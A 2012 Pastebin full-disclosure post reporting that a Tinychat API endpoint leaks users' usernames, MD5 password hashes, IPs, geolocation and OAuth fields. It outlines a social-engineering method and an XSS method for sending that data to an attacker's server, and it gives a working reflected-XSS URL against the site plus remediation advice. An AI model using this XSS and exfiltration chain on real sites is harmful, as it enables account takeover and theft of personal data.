Got an iPhone or iPad? We have a brand new Pastebin App for both devices, and it's totally free! Click here to download the new Pastebin App for iOS.
Public Pastes
Guest

reflip

By: a guest on Jan 19th, 2012  |  syntax: None  |  size: 4.42 KB  |  hits: 2,149  |  expires: Never
download  |  raw  |  embed  |  report abuse
Copied
  1. Disclaimer:
  2.         I am only posting this in the hopes that it gets fixed. I am not (and have never been) comfortable with reporting vulnerabilities/exploits personally.
  3.         Too many of my friends have been threatened, sued, and/or lost their jobs by trying to help increase security awareness while both responsible and non-destructive.
  4.        
  5.         You are more than welcome (and encouraged) to report this vulnerability to Tinychat - hell, even try to get a bounty out of it.
  6.  
  7. Vulnerable users:
  8.         Anyone who is signed in to Tinychat - even with social media auth.
  9.  
  10. Overview:
  11.  
  12.         I was looking through packets in wireshark while on Tinychat, and I came across an HTTP request
  13.         that was sent right after the flash app loaded up that looked a little strange so I took a peeksie.
  14.  
  15.         It looks like it is the authentication creds for the user to start broadcasting to the room (and obviously sets up their accounts in the app).
  16.  
  17.         What I DIDN'T expect to find was my username and my MD5'd password hanging out for the world to see (providing they had the same session as me).
  18.  
  19.         Upon closer inspection I also came to find out that they store the username and password in a cookie and use that as the session identifier for the account....
  20.         ...Which means that even if we can't find their unencrypted passwords we can still get on their accounts and pull any information we can get which includes:
  21.  
  22.                 Username
  23.                 MD5 of password
  24.                 IP (which means we could also find out their rough location for SE purposes)
  25.                 Twitter
  26.                         oAuth token (if attached to account)
  27.                         Name
  28.                         ID
  29.                 Facebook
  30.                         oAuth token (if attached to account)
  31.                         Name
  32.                         ID
  33.  
  34.         ...Actually, why don't you just take a look (I made it look pretty).
  35.        
  36.                 <response
  37.                 referer=''
  38.                 result='OK'
  39.                 time='**************TIMESTAMP**************'
  40.                 name='tinychat^netsec'
  41.                 roomtype='default'  
  42.                 rtmp='rtmp://69.65.43.160:443/tinyconf'    
  43.                 cip='**************User IP Here**************'
  44.                 rt='**************'>
  45.  
  46.                 <userinfo
  47.                 id="**************"
  48.                 added="**************"
  49.                 description=""
  50.                 facebook_id=""
  51.                 facebook_name=""
  52.                 facebook_session=""
  53.                 greenroom=""
  54.                 is_male="1"
  55.                 location=""
  56.                 loggedin="1"
  57.                 myspace_id=""
  58.                 myspace_session=""
  59.                 password="**************MD5 OF PASSWORD**************"
  60.                 showmods=""
  61.                 twfb="0"
  62.                 twitter_id=""
  63.                 twitter_name=""
  64.                 twitter_token=""
  65.                 twitter_token_secret=""
  66.                 username="**************"
  67.                 website="" />
  68.  
  69.                 <geoip
  70.                 area_code="**************"
  71.                 city="**************"
  72.                 continent_code="NA"
  73.                 country="USA"
  74.                 country_name="United States"
  75.                 latitude="**************"
  76.                 longitude="**************"
  77.                 metro_code="**************"
  78.                 postal_code="**************"
  79.                 region="**************"
  80.                 region_name="**************"
  81.                 time_zone="America/New_York" />
  82.                 </response>
  83.  
  84.  
  85. Attack method(s):
  86.        
  87.         1. The social engineer
  88.                 Simply trick the user into copy/pasting the contents of the "vulnerable" page into a textbox, parsing out the desired values, and posting to your server to play with later.
  89.                
  90.         2. The XSS
  91.                 Find an XSS on the site and XHR to the "vulnerable" page, parse out the desired values, and postback to your server.
  92.  
  93.                
  94.  
  95. URL:
  96.  
  97.         GET:            http://tinychat.com/api/find.room/{ROOM_NAME}?site=tinychat
  98.         Example:        http://tinychat.com/api/find.room/netsec?site=tinychat
  99.  
  100.        
  101. !!B-B-B-B-BONUS STAGE!!:
  102.        
  103.         XSS (works in everything except Chrome - damn that XSS filter! :P ):
  104.                 http://tinychat.com/embedmaker.html?room="/>Netsec.<script> function generate_embed(){ /* SEE NOTE BELOW */ } alert(0);</script>
  105.        
  106.                 Note: We define the generate_embed() function to disable the "Only alphanumeric characters allowed" alert which may let the user know that they are visiting a malicious URL.
  107.        
  108.  
  109. So there we have it, /r/netsec/. Now we just need to use attack method #2 and we've got the users username, md5 of their pass, and any other information in the response listed above.
  110. Since Tinychat now offers a paid service for HD video and other small UI enhancements this is kind of stupid that they wouldn't secure their shit.
  111. ...Then again I might just be being an asshole.
  112.                
  113. For Tinychat staff that may or may not read this:
  114.         Remove ALL portions of your code that output their account information. This includes a few URL's in your /api/ directory and also the username and password cookies.
  115.         It took me under a minute to find the XSS listed above - I'm sure there are more of them.
  116.        
  117.        
  118. Thanks for reading, fellas.
  119.  
  120. -reflip
create a new version of this paste RAW Paste Data